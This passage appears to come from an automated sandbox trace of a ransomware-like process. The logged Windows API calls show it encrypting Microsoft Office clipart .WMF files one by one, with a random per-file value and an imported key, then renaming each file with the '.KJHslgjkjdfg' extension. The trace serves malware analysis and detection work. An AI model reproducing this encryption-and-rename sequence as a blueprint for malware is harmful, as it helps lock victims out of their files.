dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.247] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.247] GetProcessHeap () returned 0x990000 [0199.247] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.247] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.247] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.247] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.247] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.247] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.248] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.248] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.248] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.248] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1066, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1066, lpOverlapped=0x0) returned 1 [0199.249] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1070, dwBufLen=0x1070 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1070) returned 1 [0199.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.249] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1070, lpOverlapped=0x0) returned 1 [0199.249] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.249] SetEndOfFile (hFile=0x130) returned 1 [0199.252] GetProcessHeap () returned 0x990000 [0199.252] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.252] GetProcessHeap () returned 0x990000 [0199.252] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.kjhslgjkjdfg")) returned 1 [0199.254] CloseHandle (hObject=0x130) returned 1 [0199.254] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0199.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.255] GetProcessHeap () returned 0x990000 [0199.255] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.255] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.255] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0199.257] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.257] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.257] GetProcessHeap () returned 0x990000 [0199.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.257] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.257] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.257] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.258] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.258] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.258] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.258] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.258] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.258] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.258] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x332a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x332a, lpOverlapped=0x0) returned 1 [0199.259] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3330, dwBufLen=0x3330 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3330) returned 1 [0199.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.260] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3330, lpOverlapped=0x0) returned 1 [0199.260] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.260] SetEndOfFile (hFile=0x130) returned 1 [0199.263] GetProcessHeap () returned 0x990000 [0199.263] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.263] GetProcessHeap () returned 0x990000 [0199.263] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.kjhslgjkjdfg")) returned 1 [0199.265] CloseHandle (hObject=0x130) returned 1 [0199.265] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0199.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.266] GetProcessHeap () returned 0x990000 [0199.266] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.266] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.266] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0199.269] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.269] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.269] GetProcessHeap () returned 0x990000 [0199.269] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.269] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.269] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.269] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.269] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.269] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.269] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.269] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.270] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.270] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.270] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6bc2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6bc2, lpOverlapped=0x0) returned 1 [0199.271] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6bd0, dwBufLen=0x6bd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6bd0) returned 1 [0199.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.271] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6bd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6bd0, lpOverlapped=0x0) returned 1 [0199.272] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.272] SetEndOfFile (hFile=0x130) returned 1 [0199.274] GetProcessHeap () returned 0x990000 [0199.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.275] GetProcessHeap () returned 0x990000 [0199.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.kjhslgjkjdfg")) returned 1 [0199.276] CloseHandle (hObject=0x130) returned 1 [0199.276] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0199.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.278] GetProcessHeap () returned 0x990000 [0199.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.279] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.279] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0199.281] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.281] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.281] GetProcessHeap () returned 0x990000 [0199.281] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.281] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.281] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.281] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.282] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.282] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.282] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.282] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.282] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.282] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.282] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa086, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa086, lpOverlapped=0x0) returned 1 [0199.284] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa090, dwBufLen=0xa090 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa090) returned 1 [0199.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.284] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa090, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa090, lpOverlapped=0x0) returned 1 [0199.284] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.285] SetEndOfFile (hFile=0x130) returned 1 [0199.288] GetProcessHeap () returned 0x990000 [0199.288] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.288] GetProcessHeap () returned 0x990000 [0199.288] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf.kjhslgjkjdfg")) returned 1 [0199.289] CloseHandle (hObject=0x130) returned 1 [0199.289] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5779c00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5779c00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x380a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0232795.WMF", cAlternateFileName="")) returned 1 [0199.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232795.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.290] GetProcessHeap () returned 0x990000 [0199.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.290] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0199.293] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.293] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.293] GetProcessHeap () returned 0x990000 [0199.293] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.293] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.293] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.293] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.293] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.293] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.294] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, 